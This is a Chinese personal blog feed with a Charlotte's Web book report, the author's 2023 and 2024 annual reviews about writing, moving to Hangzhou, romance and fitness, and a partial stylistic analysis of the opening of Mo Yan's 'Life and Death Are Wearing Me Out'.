若水斋 https://blog.werner.wiki Try harder Sun, 09 Nov 2025 01:35:40 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 若水斋 https://blog.werner.wiki 32 32 《夏洛的网》读后感 https://blog.werner.wiki/charlottes-web-book-report/ https://blog.werner.wiki/charlottes-web-book-report/#respond Sun, 09 Nov 2025 00:44:48 +0000 https://blog.werner.wiki/?p=2638 夏洛的网》讲述了一个童话般的故事:

威尔伯是只春天出生的小猪,猪圈上结网的蜘蛛夏洛是他的好朋友。
老羊告诉威尔伯,天气很冷的时候,农场主会杀掉威尔伯,把它做成火腿。

夏洛为了救威尔伯,想了很久,终于想到在蛛网上织出夸赞威尔伯的字,创造神迹。这一招很奏效,夏洛每次织字,农场主及其他所有人都会变得更在意威尔伯。秋天,夏洛随威尔伯一起去集市,最后一次为威尔伯织字。威尔伯在集市上得了奖,为农场主赢得了荣誉。农场主不可能再为了吃肉杀死威尔伯。

夏洛产卵后独自在散去的集市死去,威尔伯把夏洛的卵带回农场。威尔伯活过了冬天,活了一年又一年。夏洛一代又一代的孩子,都成了威尔伯的好朋友。

这个故事不是简单的童话,它比童话更为深刻。它即有能吸引孩子的外形,也有能引发成年人深思的内核。正符合《伟大作品的隐秘结构》一书中所说两大隐秘结构之一——半透明的双层结构。

还未读完,我已产生一个巨大的疑问,夏洛为何愿意救威尔伯?在故事的结局——倒数第二章(在我看来最后一章不是结局,而是尾声),夏洛临死前,威尔伯提出了我的疑问:

“你为什么为我做这一切呢?”它问道,“我不配。我没有为你做过任何事情。”

“你一直是我的朋友,”夏洛回答说,“这件事本身就是一件了不起的事。我为你结网,因为我喜欢你。再说,生命到底是什么啊?我们出生,我们活上一阵子,我们死去。一只蜘蛛,一生只忙着捕捉和吃苍蝇是毫无意义的,通过帮助你,也许可以提升一点我生命的价值。谁都知道,人活着该做一点有意义的事情。”

夏洛给出了两个理由:

  1. 夏洛喜欢威尔伯,视威尔伯为好朋友;
  2. 救威尔伯让夏洛觉得自己的生命更有价值。

第一个理由固然成立,夏洛和威尔伯彼此认为对方是自己最好的朋友,为了救好朋友,付出一些努力十分正常。夏洛通过在蛛网上织字救了威尔伯,但也没耽搁自己捉捕苍蝇、做卵兜、产卵。但存在更大的疑问。夏洛为何愿意和威尔伯成为朋友?他们成为朋友后,关系不平等、并非互惠互利。夏洛单方面为威尔伯付出,威尔伯没有为夏洛做任何事情。甚至夜里,也是夏洛讲故事,哄威尔伯睡觉。夏洛是一只很有智慧的蜘蛛,它在决定成为威尔伯的朋友时,一定已经预料到了这一切。回顾夏洛和威尔伯的第一次交谈,夏洛对威尔伯说:

“你要一个朋友吗,威尔伯?我可以做你的朋友。我观察你一整天了,我喜欢你。”

那天威尔伯做了什么,让夏洛喜欢?那是一个雨天,威尔伯在找朋友,威尔伯问了母鹅、小羊羔、老鼠,没有谁愿意成为威尔伯的朋友。小羊羔甚至说:

“我对猪没兴趣。”

“你自个儿去玩吧!反正我不跟猪玩。”

威尔伯感到非常孤独,作为一只正在长身体的小猪,它甚至吃不下饭。威尔伯找了一整天,到了晚上睡觉前,还是没有找到朋友。就在这时,夏洛说要成为威尔伯的朋友。显然,夏洛观察一整天,观察到了威尔伯的孤独。从“人性”推断,夏洛出于善良,可怜威尔伯,所以主动提出要成为威尔伯的朋友。第五章写到:

在夏洛凶猛残忍的外表下,有一颗善良的心。

此外,夏洛是一只蜘蛛,威尔伯的臭味会吸引夏洛的主要食物来源——苍蝇。从“动物性”推断,夏洛也会喜欢威尔伯。第九章写到:

夏洛乐滋滋地看着(威尔伯)。它和弗恩一样实在太喜欢威尔伯,它的臭猪圈和发臭的食物引来夏洛需要的苍蝇。

第二个理由更为深刻。夏洛提出疑问“生命到底是什么啊?”这个疑问,夏洛没有正面回答。读者阅读完整本小说,也无法回答这个疑问。这个疑问,正是《伟大作品的隐秘结构》中所说的那种疑问:

世上想不出答案的问题很多,但其中却有那么几个,一想就会搅动身心,卷入巨大的人生疑问,而且可以肯定,古人也曾经这么疑问,后人也必然会继续这么疑问。伟大的艺术家只要发现这样的地方,就会倾注自己最大的精力开始创作。

夏洛无法回答这个问题,但它思考得出了这样的结论:“一生只忙着捕捉和吃苍蝇是毫无意义的”、“人活着该做一点有意义的事情。”它觉得帮助威尔伯“或许”是一点有意义的事情。这并不是说,只有帮助他人才能让自己的生命更有意义。如果这样理解,故事就陷入了俗套的说教。夏洛是一个智者,它不会草率得出这样的结论,它使用了“或许”、“谁知道呢”这样表达不确定性的词汇。

这又引发了我的一个疑问,夏洛和威尔伯在同一年的春天出生,夏洛表现得像一个成年人,威尔伯像一个小孩子,这是为什么?

最简单的解释是按生命长度等比例换算。夏洛是一只春天出生、秋天就会死去的蜘蛛,它的寿命只有三个季度。夏洛出场的下一章就是初夏,可见夏洛和威尔伯成为朋友是在春末。这时夏洛已经度过了自己生命的三分之一,类比到人类,已经是一个成年人了。家猪平均寿命为二十年,威尔伯在认识夏洛时,只度过了自己生命的八十分之一,如果类比到人类,只是一个婴孩。

但无论如何,夏洛出生也才几个月,它从哪里获得远超其他动物的智慧和知识储备?对此,我有一个大胆的猜测,蜘蛛的知识是可以代际遗传的。小说中有这样一段人类的对话:

“你试过结网吗?”多里安医生问道。

阿拉布尔太太在她的椅子上不自在地动着身子。“没有,”她回答说,“不过我会编织小餐巾,也会编织短袜子。”

“不错,”医生说,“不过你是有人教的,对吗?”

“是我妈妈教的。”

“那么蜘蛛是谁教的呢?蜘蛛很小就会结网,没有任何人教。你不觉得这是个奇迹吗?”

这段对话点明了蜘蛛织网并非后天学习,而是天生就会。也就是说,蜘蛛最大的知识,结网是可以代际遗传的。既然如此,其他知识也可以代际遗传就不奇怪。夏洛这个物种,秋天产卵后很快会死去,春天卵才孵化出来。夏洛没有任何和母亲交流的机会。但夏洛有中间名,有姓。它的全名是夏洛·阿·卡瓦蒂卡(Charlotte A. Cavatica)。中间名和姓绝不是夏洛随意给自己安置的,它们来自夏洛所属物种穴栖园蛛的拉丁语学名 Araneus Cavaticus。夏洛生活在乡下的农场,不可能有人会在日常生活中说出某一物种的拉丁语学名。夏洛能够识字,但它织网的谷仓没有书籍,它没有机会阅读书籍。更何况,农场里只有通俗杂志和广告,没有这样的书籍。最合理的解释便是,中间名和姓遗传自夏洛的母亲。夏洛一出生,脑海中便有祖祖辈辈积累的知识和技能,它不仅擅长结网,也擅长思考。它曾说:

在我之前,我妈妈结网捉虫。在它之前,它妈妈结网捉虫。我们一家都结网捉虫。再回过去几千几万年,我们蜘蛛一直埋伏着捉苍蝇和甲虫。

夏洛没有见过自己的母亲。说出这样一段话,可能并不是夏洛观察了其他动物的母亲,得出自己的母亲和自己相同,也会结网捉虫的结论。而是它的脑海中有着祖祖辈辈生活的鲜活画面。如果这种记忆足够久远,夏洛或许还记得,恐龙是如何灭绝的。

第二个理由引发了另一个问题,生命的价值和长度正相关吗?生命是否长度越长、价值越高?在故事中,只有三个月生命的夏洛救了威尔伯,让它能活到寿终正寝,如果不救,威尔伯会在冬天被宰杀。夏洛的行动,让威尔伯的生命从一年大大延长到二十年,延长了 1900%,看起来有很大价值。如果威尔伯的寿命不是二十年,而是一年零一个月呢?夏洛的行动,只让威尔伯多活了一个月,从十二个月延长到十三个月,只延长了 8%,还有很大价值吗?直觉上,肯定会觉得价值比延长 1900% 小很多。夏洛的行动没有变、效果没有变,改变的只是威尔伯的寿命,或者说是生命的长度,我们会觉得价值变了。假设有两款新药,除药效外,价格、副作用、味道、生产时对环境的污染等都完全相同。第一款新药可以把人类的平均寿命从 80 岁提升到 81 岁,而第二款可以把平均寿命从 80 岁提升到 100 岁,两款新药,哪个更有价值?相信任何人都会说第二款。可见生命的价值和长度即使不是简单的线性关系,也具有很大的正相关性。毕竟,生命越长,越有可能创造奇迹。

最后谈几点《夏洛的网》的写作特色。

一是尊重动物的动物性。有许多作品,只是把动物作为主角,故事则是人类社会中才会上演的故事。把这种作品中的小猪、小羊、大灰狼,直接换成小明、小红、大坏蛋,故事仍然成立。但在《夏洛的网》中,无论是夏洛还是威尔伯,换成人类,故事不再成立。这让小说更加真实、更加严肃、更加深刻。

故事中最大的危机、夏洛织网的原因——威尔伯会在圣诞节前被杀被吃,人类绝不会遇到,只有家畜、家禽才会遇到。

故事构建了一个各种动物都能说话的世界,却没有回避蜘蛛捕食昆虫的事实。威尔伯和夏洛成为朋友的第一天,恐惧多过开心,因为它看到夏洛捕食苍蝇的过程,觉得这很残忍。

“这很残忍。”威尔伯回答说,它不打算被说服而放弃自己的立场。

“这个嘛,你没有发言权,”夏洛说,“你是有人用桶子送东西给你吃。可没有人给我东西吃。我得自己谋生。我靠自己的本事过活。我得机智灵活,要不然就挨饿。我得自己想办法,能捉什么捉什么,来什么捉什么。我的朋友,碰巧来的都是苍蝇、昆虫和甲虫。再说,”夏洛抖着它的一条腿说,“你知道吗,如果我不捉甲虫,不吃掉它们,甲虫就会增加,成倍成倍地增加,多得会破坏地球,把所有的东西一扫而光?”

可能考虑到读者大多是小孩,作者没有安排一场落网的苍蝇和夏洛的对话。

故事正视了不同物种之间生命长度的巨大差异,巧妙融入故事情节,设计出了一个感人至深又合情合理的结局。作为成年人,我读懂了作者在前面几个章节的暗示,预感到了夏洛的结局。如果我还是一个孩子,这个结局一定出人意料。

二是大量使用铺陈。直接列举一系列事物,营造真实感。

故事开始时,阿拉布尔先生把刚出生的威尔伯装在纸箱里,抱进屋子时:

厨房的桌子上,早饭已经摆好,房间里透着咖啡、熏肉的香味,湿灰泥的气味,还有从炉子里飘出来的柴火烟味。

后来威尔伯住进了这样一座充满各种气味的谷仓:

谷仓很大。它很旧了。里面有干草的气味,有肥料的气味。里面有干活累了的马的汗味,有吃苦耐劳的母牛的极好闻的气息。谷仓让人闻上去感到天下太平,什么坏事都不会再发生。它充满了谷物、马具套、车轴油、橡胶靴和新绳索的气味。碰上猫叼着给它的鱼头到这儿来享受,谷仓里还会多股鱼腥气。不过最强烈的是干草气味,因为谷仓上面的阁楼里一直堆着干草。总是有干草给扔下来喂牛、喂马、喂羊。

这座仓库里有许多东西:

谷仓里面有马栏,有牛栏,谷仓底下有羊圈,有威尔伯待的猪圈。谷仓里有凡是谷仓都有的各种东西:梯子、磨子、叉子、扳手、镰刀、割草机、雪铲、斧头柄、牛奶桶、水桶、空麻袋、生锈的老鼠夹。

夏洛第一次在网上织字,吸引了周围很多人来观看:

周围多少英里的人赶来看威尔伯,读夏洛的网上那几个大字。朱克曼家的车道上,从早到晚满是小汽车大卡车——福特车、雪佛莱汽车、别克车、通用小卡车、普利茅斯汽车、史蒂倍克汽车、帕卡德汽车、带螺旋转动装置的德索托、带火箭发动机的奥尔兹汽车、吉普旅行车、庞蒂亚克汽车。

描写集市时,陈列了听觉、视觉、嗅觉等多个维度的事物:

车子开进集市场地时,他们听到音乐声,看到费里斯转轮在空中旋转。他们闻到被洒水车洒湿了的跑道的灰尘气味,闻到煎牛肉饼的香味,看到气球飘在空中。他们听到羊在羊栏里咩咩叫。

孩子们在集市玩耍时,大人们这样嘱咐:

“要是去荡高空秋千,”阿拉布尔太太说,“可要抓紧了!你们要抓得十分紧。我的话听进去没有?”

“别走丢了!”朱克曼太太说。

“别弄脏了!”

“别热坏了!”他们的妈妈说。

“提防扒手!”他们的爸爸叮嘱说。

“马来了不要过跑道!”朱克曼太太在后面叫。

注意到其中有大量的气味描写。《生死疲劳》第四部“狗精神”中,也有大量气味描写。这部分中,主角西门庆转生投胎成了一条狗。众所周知,狗的鼻子很灵敏。以狗为主角,自然需要大量描写气味。但其实,猪的鼻子比狗的鼻子更加灵敏。《夏洛的网》中大量描写气味,非常符合威尔伯是一只小猪的设定。

]]>
https://blog.werner.wiki/charlottes-web-book-report/feed/ 0
2024年年度总结 https://blog.werner.wiki/2024-annual-summary/ https://blog.werner.wiki/2024-annual-summary/#comments Tue, 31 Dec 2024 15:57:11 +0000 https://blog.werner.wiki/?p=2571 打开自己的博客,看到过去一年,没有更新一篇文章,阅读记录,也只添加了两本书。很显然,这个博客已近荒废。读大学时,我常常花很多时间维护博客网站、编写博客文章。会为了设计一个好看一点的首页,读一整本网页设计书,会为了写一篇今天看来毫无价值的文章,投入一整个周末。大学毕业后,花在博客上的时间显著减少,离开北京后,几乎降到了零。

去年六月,我离开北京,来到杭州。我把每晚睡前,设定为阅读时间。这个时间很不稳定,有很多事情干扰。比如加班到很晚,回到家早就过了睡觉时间,比如上了一天班后精疲力尽,没法集中精力阅读,比如工作一整天后眼睛干涩,只能做些不费眼睛的事,比如习惯性地玩手机,一不留神就到了该睡觉的时间。今年一整年,我只读了两本书,一本为工作而读,是《上任第一年:从业务骨干向优秀管理者转型》,一本为写作而读,是《小说写作教程:虚构文学速成全攻略》。读这两本书,都是出于提升某种技能的功利目的,不是出于娱乐。以前我读书,多是为了娱乐。比如读《生命的起源》了解到细菌遗传物质的横向传递、读《置身事内:中国政府与经济发展》知道了分税制改革的历史、读《寻找无双》看到了在长安城中房顶间飞来飞去长着翅膀的兔子、读《动物庄园》听到了“所有动物生而平等,但有些动物比其他动物更平等”的标语。现在回想起这些,仍然觉得非常开心,有种生命充盈的感觉。

我今年也读了一些让自己开心的文字。不是书籍,而是杂志。去年年底,我订阅了一整年纸质版《科幻世界》杂志,作为送给自己的新年礼物,也是在用实际行动,支持我国科幻事业的发展。今年每月月初,我都会收到从成都发来的一件快递,装在文件封里。每次取快递,我一边抬腿踏出快递站大门,一边拉开易撕带,掏出里面厚厚的一本杂志。每期杂志都有一百多页,我常常苦恼于,上个月的杂志还没有读完,这个月的杂志就已经收到。只有第一期,每篇文章我都仔仔细细阅读了,之后就只是挑着翻阅下。发表在这本杂志上的小说,有些质量很一般,我读后疑惑,这也能发表?也有些写得非常精彩,读完之后,深受震撼。比如发表在 2024 年 01 期上,索何夫写的《伊尔加德事件三十周年回顾》,讲述了自愿放弃科学技术的人类,在外星球被野蛮的外星物种当作家畜饲养的故事。这种震撼,十分类似于阅读完刘慈欣的科幻小说后的感受。这也是我喜欢阅读科幻小说的原因。在我看来,这是一种极致的精神享受。

我希望自己也能创作出优秀的科幻小说,给别人带来这样的精神享受。这是很多年前,我在深圳打工时,被台风困在,棺材一样狭小的出租屋里,读了一些小说后,偶然冒出的念头。这么多年来,我总是断断续续。往往是,有几个月认真学习写作知识,觉得自己进步了,莫名自信,憋着一股劲,写出一篇现在看来惨不忍睹的小说,匆匆投稿,焦急等待一个月,收到拒稿信,陷入自我怀疑,自我否定,觉得自己根本不是写作的料,觉得自己想要写出能够发表的作品,简直是痴心妄想,白日做梦,把写作这件事抛到脑后,一周、一个月、一个季度、半年过去了,再也不想,再也不碰。直到有一天,或是刷到一篇写作技巧分享文章,或是看到一本写作入门指导书籍,或是灵光一闪有了自觉不错的故事创意,又会进入这样的循环。今年 2 月,我结束了一个循环,那时真的以为下定了决心,从此以后,安安分分做个读者。何必费尽心思、抓耳挠腮、搜肠刮肚,来设定世界、虚构人物、构思情节?这样做,空耗了一腔热血,没有得到任何回报。我只要简简单单,捧起书本,跟着作者的思路,进入幻想的世界,就能获得极大的精神享受,何乐而不为?何必没事找罪受?何必和自己过不去?今年 11 月,我无意间看到一本名为《小说写作教程:虚构文学速成全攻略》的书,读了简介和前言,觉得是本好教程。我不甘心了,我已经付出了那么多时间、学习了那么多知识,也许现在的写作水平,距离发表作品,就只差这本教程?这样想着,我便买了这本书、阅读这本书。一个月后,读完这本书,自觉写作功力大涨,自信心又回来了,觉得这次一定可以写出能够发表的作品(以前每次也都这么觉得)。我捡起 2023 年初构思的一个故事,重新开始写它。这个故事,我曾写过两次,两次都烂尾了。我每天早晨起床,写一会小说,然后洗漱、吃早饭、出门上班,一整天都不再想关于写作的任何事,直到第二天早晨起床。我有多长时间写作,取决于我多早起床。杭州的冬天,并不暖和,我租的房子,保暖很差,四堵墙中有两堵是大落地窗。早上起来,房间里的温度,大约十摄氏度。这个气温,有点冷,却没有冷到必须取暖。在冬季的早晨,离开温暖的被窝是件困难的事情。闹钟常常把我吵醒,我赖在被窝里,不愿起来。这导致我的写作时长很不固定,工作日的早晨,经常坐在书桌前,打开电脑,一看时间,距离该去洗漱只有 5 分钟了。5 分钟也不能浪费,哪怕只写一句话。抱着这样的信念,我极其缓慢地推进着故事情节。这 5 分钟的写作时间,对我来说,似乎是一种慰藉。它让我觉得,工作之外,我还在干着自己喜欢的事情,我的人生,没有被工作填满,我是自由的。

周末虽不用工作,我没有很多时间写作。我的周末,全都和女友一起度过。3 月初,我们买了一台微单相机。春天的很多个周末,我们带着相机,出门拍照。我的摄影技术很一般,每次拍她时,我都会开启连拍。轻按快门,一次拍很多张照片。一天下来,能拍上百张。认真挑选,总能找出几张拍得还行的照片。我们去太子湾拍过郁金香,去西溪湿地拍过油菜花,去郭庄拍过古典园林。

女友今年拍了很多照片。除了我拍的,还有摄影师拍的。我们拍了婚纱照,为明年结婚做准备。在拍婚纱照之前,我有些害怕。我担心销售会骗我钱、化妆师会嫌我丑、摄影师会骂我笨。拍完之后发现,拍婚纱照一点也不可怕,大家都和和气气的,没有人苛责我哪里做的不好。出于理性,我知道自己是消费者,是甲方,所有乙方人员都得服务好我。但出于感性,我终究是一个性格内向、害怕“咕咚”的小孩。小学一年级学习的童话寓言,二十多年后,对年近三十的我,仍有启发。

正是拍婚纱照的经历,加上女友的极力推荐,让我有了勇气,下定了决心,报了健身课程。我早就知道,自己非常缺乏运动,应该加强锻炼。可我从没去过健身房,没来由地害怕。去过一次之后,就不再怕了。健身教练体壮如牛,同时温文尔雅,专业又耐心地指导我。比如深蹲这样一个简单的动作,我学习了很久都没有学会,每次勉强做完,我就会头晕眼花、站立不稳。我为自己差劲的表现感到羞愧,教练却从不责备我。再如悬垂举腿,我做完后常常觉得恶心想吐,教练不会嘲笑我体质羸弱,而是会调整训练计划。在运动方面,我从来都很愚钝。经过教练一次又一次的指导,通过很多很多次的练习,我终于学会了如何深蹲,悬垂举腿也不会再恶心想吐,总算有点长进。

锻炼后恶心的感觉,类似于刚刚坐完海盗船。我人生中第一次坐海盗船,差点吐了出来。不让想呕吐物在空中飞荡,污染一船游客,我才咬牙坚持,硬生生把涌到喉咙的食糜,压了回去。下船后觉得整体地球变成了一艘巨大的海盗船,地面不停摇晃。我坐在公园长椅上,让烈日直射我的肚子,感到暖暖的很舒服,女友撑着遮阳伞坐在旁边等我。休息了足足两个小时,我才缓过来。如果不是女友坚持,我一定不会玩这样可怕的娱乐项目。这是我们今年中秋假期,大连旅游时,在星海公园玩的。非常感谢女友没有嫌我身体太差,休息太久,打乱了那天的出游计划。希望经过一段时间的健身,我的身体能稍微好一点。

健身确实是我需要的。健身前,工作一天后,我常常感到精疲力竭,不想集中精神再做其它事情,只想躺在床上玩手机。我每周末上两次健身课,每次时长一个小时。几周之后,明显感到精力变得旺盛了,下班后也有余力再做些其它事情。最近做的一件事,是我觉得今年做的所有事情中,最好玩的。我和女友没有购买相框、相册和摆台等实物产品,只购买了电子版照片。原计划是在淘宝找家店打印照片。在搜索店家时,发现了电子相框这种东西。使用电子相框,可以无限制地显示任何照片,切换照片,也没有任何成本。然而,电子相框售价不菲,屏幕稍大一些,清晰度稍高一些,便要上千元。一番了解后,我发现电子相框很简单,决定自己做一个。我拆下废旧笔记本电脑的屏幕,作为电子相框的显示屏,从闲鱼花 70 块钱买了一个电视盒子,作为电子相框的主机,从淘宝花 50 块钱定制了一个木制相框,作为电子相框的外边框,最后把这些部件组装起来,便得到了一个屏幕超大、清晰度超高的电子相框,可以我们显示的婚纱照。效果如下图所示。

展示婚纱照的电子相框实拍图

原本想以上图作为这篇总结的结尾。在敲下这些文字时忽然想到,今年还有一件小事值得一记。

认识我的人都知道,我的普通话很不标准。在使用拼音打字时,有些汉字我不知道如何正确发音,需要反复尝试、花费很长时间,才能输入。我曾两次认真学习五笔输入法,一次在大四时,一次在北京打工时。两次都投入了大量时间,两次都学会了如何使用五笔输入法键入汉字,两次都没能熟能生巧、形成肌肉记忆,两次都没能将日常工作、生活中的输入法切换为五笔输入法。时间稍微一长,便遗忘了非常复杂的五笔输入法,现在连助记歌谣的第一句都想不起来了。

今年上半年,具体几月已不记得,我偶然得知了双拼输入法,立即被这一设计理念吸引,花了大概几个小时,学会了如何使用双拼输入法键入汉字。练习了几天,使用双拼输入法打字的速度,超过了全拼输入法。我把自己的安卓手机、公司的苹果笔记本电脑,家里的 Windows 台式机,默认输入法都设置成了双拼输入法。从那以后,我一直在使用双拼输入法。现在再让我使用全拼输入法,很不适应了。要说学习双拼对我有多大好处,好像并没有。不知道一个汉字正确的读音,无论使用全拼,还是双拼,都无法输入这个汉字。我打字速度慢,主要受不知道正确读音的汉字干扰。因此使用双拼输入法,并不能有效提升我的打字速度。但我还是很开心,因为我学习了新知识、掌握了新技能。我为发生在自己身上的变化感到开心。如果我没有任何改变,我会焦虑,我担心自己慢慢变成一个没用的人,一个跟不上时代的人,一个被社会抛弃的人。从小,我就被教育,要成为一个对社会有用的人。这就是说,一个人如果对社会没用,那么这个人就是失败的人,应该被社会淘汰。小时候,我觉得这是一种激励,现在想起来,这其实是种威胁。

今年的总结絮絮叨叨说了一大堆废话。我想,十年后的自己看到这些废话,应该会觉得挺开心,会想,多亏了这篇年度总结,我才知道,原来那个时候,我做过这些事情,真是有点好玩;原来那个时候,我是这样想的,真是有点天真。

]]>
https://blog.werner.wiki/2024-annual-summary/feed/ 6
2023年年度总结 https://blog.werner.wiki/2023-annual-summary/ https://blog.werner.wiki/2023-annual-summary/#respond Sun, 31 Dec 2023 10:01:32 +0000 https://blog.werner.wiki/?p=2515 一年前,我在北京,备了一堆药,一箱口罩,缩在没有集中供暖、风一吹窗户哐镗哐镗响的出租屋里等待感染新冠病毒。眼瞅着不再居家办公,眼瞅着来上班的同事一天比一天少,眼瞅着项目组只剩我一个人来公司,我还是没有感染。

每次稍有头晕鼻塞,我就拿出抗原检测试剂,结果每次都是阴性。看到只在 C 旁出现一道杠,头也不晕了,鼻也不塞了,屡试屡灵。听说感染后会连着高烧很多天,听说感染后会嗓子哑得说不出话,听说感染后会躺在床上下不来地。我常常幻想,自己感染后症状会有多么严重。就在这样的惶惶不安中,我度过了二零二三年的前五个月。

前五个月自然发生了很多事,只有两件值得一提,其余就慢慢遗忘吧。无意间看到一部动画片,名为《来自新世界》,误以为和刚刚读过的《美丽新世界》有关,看了一遍。看完,深受震撼。这种震撼不仅来自出乎意料的结局,更是来自直指人心的力量。过去三个季度了,现在仍然能清晰感受到这种力量。这样的故事,正是我想写的。我也写了一个故事,花了八十多个小时,投稿给一家杂志,迟迟未见回信,直至我离开北京。

离开北京是在六月一日。那天我刚进火车站,满心欢喜卸载了名为“北京通”的手机应用。乘着高铁,一路南下,来到杭州。杭州夏天非常炎热,阳光威力不输深圳。那时我以为杭州冬天也会和深圳一样温暖,现在我把丢在北京的电暖、电热毯全又买了一遍。

那时我住在宾馆,还没有租好房子。某次路过洗碗槽目光无意间瞥向倒 U 形水龙头时,裤兜里的手机轻轻震动,打开看到退稿信,大意为故事差强人意、文笔不餍人望。我心想,接下来重点练习文笔,今年再写一篇,大概能够发表。

事与愿违,直到二零二三年的最后一天,我在杭州没有写出一个故事。到了杭州,工作变得忙碌,加班习以为常。上班久了便不想写作。写作和编程有许多相似之处,都是繁重的脑力劳动,都需要久坐电脑旁盯着屏幕敲键盘。

不能全怪工作。原本我想报名一个在线写作培训班,不巧首次直播授课是在七月一日十九点整。那晚我约了一位姑娘夜游西湖。权衡之后,放弃上课,选择西湖。

那天晚上,我第一次见到西湖,也第一次见到她。湖畔游人摩肩接踵,垂柳枝在夜风中拂动,橙色彩灯勾勒出画舫的轮廓,站在白堤遥望,湖面与远处群山层层叠叠的剪影融为一体。西湖的确很美。

西湖边认识的姑娘,和我一起游览了杭州诸多名胜。我们相识,相知,相恋,如水到渠成。我从中收获了许多快乐,远远超过写作带来的乐趣。在她的陪伴下,我第一次去一座城市,不是为了上学,不是为了工作,不是为了探亲访友,不是为了求神拜佛,仅仅是为了开心。开心的不止旅游,周末两人在家一起做饭也很有趣。我学会了做饭,比想象中简单很多。食物秤只用过几次,便嫌麻烦,不再使用。我很快适应了我的勺和我的锅,能凭感觉适量添加调料。

我也慢慢适应了生活的巨大变化,在今年快要结束的时候,找到了新的节奏。在这个节奏中,我能每天抽出一点点时间花在写作上。我不想轻易放弃这个几年前偶然播种的梦想。

2023年12月31日晚西湖畔合影

]]>
https://blog.werner.wiki/2023-annual-summary/feed/ 0
《生死疲劳》开头赏析 https://blog.werner.wiki/life-and-death-start/ https://blog.werner.wiki/life-and-death-start/#respond Sat, 23 Dec 2023 08:30:45 +0000 https://blog.werner.wiki/?p=2396 前言

几个月前, 我拿起《生死疲劳》,只读了开头,就感慨不愧是诺奖得主的代表作,寥寥几句勾绘出地府的阴森恐怖,主角的遭遇仿佛在我眼前上演。

我知道这些文字写得特别好,我希望自己将来也能写出这样好的文字。我也知道这很遥远,我现在甚至说不清这些文字好在哪里。为了搞清楚,我借鉴富兰克林的经验,用几句简短的话概括《生死疲劳》的开头:

西门闹在地府受酷刑不屈服,惨遭油炸。鬼卒把炸好的西门闹放到阎罗殿前。西门闹经过心理挣扎后决定继续喊冤。

把这些话记到笔记本后,我有意不去阅读开头。大约过了一个月,我对开头描写的事只剩下模糊的印象,记不清具体的词句。这时,我打开笔记本,翻出概括,尝试用自己的语言重现开头。我是这样写的:

故事从 1950 年 1 月 1 日开始。我是西门闹,在地府两年多了。 这两年里,我不停喊冤,喊冤声在地府回荡。 阎罗王为了让我闭嘴,给我施加各种酷刑。 但我绝不松口,坚持喊冤。我知道鬼卒都暗暗佩服我,私下称我为硬汉。 最后,他们使出了地府中最歹毒的刑法,把我浸在油锅里炸。 我像鸡腿一样炸得外酥里嫩,一碰就碎。 终于炸好了,鬼卒用叉子把我从油锅里叉出来,油从我身上哗啦啦地流下来。 鬼卒小心地把我放到阎罗殿前的地板上,油滴到地板上,发出呲啦声,冒出黄烟。

阎王说:“西门闹,你还闹吗?”

我受尽了各种酷刑,但坚持喊冤,不为别的,就为我是冤枉死的。我一生行善,没有做过亏心事。所以我还要继续喊——冤枉!

写完后,翻出莫言写的开头:

我的故事,从一九五〇年一月一日讲起。在此之前两年多的时间里,我在阴曹地府里受尽了人间难以想象的酷刑。每次提审,我都会鸣冤叫屈。我的声音悲壮凄凉,传播到阎罗大殿的每个角落,激发出重重叠叠的回声。我身受酷刑而绝不改悔,挣得了一个硬汉子的名声。我知道许多鬼卒对我暗中钦佩,我也知道阎王老子对我不胜厌烦。为了让我认罪服输,他们使出了地狱酷刑中最歹毒的一招,将我扔到沸腾的油锅里,翻来覆去,像炸鸡一样炸了半个时辰,痛苦之状,难以言表。鬼卒还用叉子把我叉起来,高高举着,一步步走上通往大殿的台阶。两边的鬼卒嘬口吹哨,如同成群的吸血蝙蝠鸣叫。我的身体滴油淅沥,落在台阶上,冒出一簇簇黄烟……鬼卒小心翼翼地将我安放在阎罗殿前的青石板上,跪下向阎王报告:

“大王,炸好了。”

我知道自己已经焦煳酥脆,只要轻轻一击,就会成为碎片。我听到从高高的大堂上,从那高高大堂上的辉煌烛光里,传下来阎王爷几近调侃的问话:

“西门闹,你还闹吗?”

实话对你说,在那一瞬间,我确实动摇了。我焦干地趴在油汪里,身上发出肌肉爆裂的噼啪声。我知道自己忍受痛苦的能力已经到达极限,如果不屈服,不知道这些贪官污吏们还会用什么样的酷刑折磨我。但如果我就此屈服,前边那些酷刑,岂不是白白忍受了吗?我挣扎着仰起头——头颅似乎随时会从脖子处折断——往烛光里观望,看到阎王和他身边的判官们,脸上都汪着一层油滑的笑容。一股怒气,陡然从我心中升起。豁出去了,我想,宁愿在他们的石磨里被研成粉末,宁愿在他们的铁臼里被捣成肉酱,我也要喊叫:

“冤枉!”

我逐字逐句分析,描写同一件事,我和莫言的差距在哪里。

上述过程,我重复了三次,每次仿写都比上一次更接近原文。并非我进步神速,而是对这段开头逐渐熟悉,经过很长时间也难以忘记。三次之后,我已能背诵出这些文字。大概半年内,我无法再用这段开头做这样的练习。

我希望这段文字能对我发挥更大的价值。我想借鉴费曼的经验,把三次练习总结出的这段开头的好处,全都清清楚楚写出来。

赏析

我的故事,从一九五〇年一月一日讲起。

  1. 只写“我”,不介绍我是谁。给读者最少的信息,留下最多的悬念。
  2. “我的故事”之后添加逗号好过不加逗号。没有逗号语法也不会错。但若没有逗号,这句话就有 16 个字,太长了,读着费劲。添加逗号,分隔为 4 个字和 12 个字,读起来舒服很多。前半句 4 个字,简短有力,后半句 12 个字,绵长舒缓。前半句和后半句有长短的变化,紧缓的变化,这样的变化具有音乐美。
  3. “讲起”一词更准确,好过“开始”。一个人,从出生到死亡,每天都会经历很多事,这些事都是故事。“讲起”意味着挑选了一个时间点,截取这个时间点之后的事情来讲。“开始”则显得这个时间点之前,没有任何事情发生,人物也是在这个时间点忽然冒出来的。

在此之前两年多的时间里,我在阴曹地府里受尽了人间难以想象的酷刑。

  1. “在此之前两年多的时间里”准确写明了“我”受酷刑的时间段与“一九五〇年一月一日”这一时间点的关系。
  2. 交代人物、时间后,紧接着交代了地点——阴曹地府。至此,时间、地点、人物三要素已全部交代。
  3. 没有先写受酷刑的原因,而是先写“受尽了人间难以想象的酷刑”,把更吸引读者的内容放在前面。作为开头,要尽快抓住读者。
  4. 用“人间难以想象”来形容酷刑,“阴曹地府”和“人间”形成对照。

每次提审,我都会鸣冤叫屈。

  1. 句式和第一句相同,也是前半句 4 个字,后半句一长串。
  2. “每次提审”点明只有提审时才鸣冤叫屈,并不是在阴曹地府的两年多时间里,嘴中不停喊着冤枉,更符合逻辑。
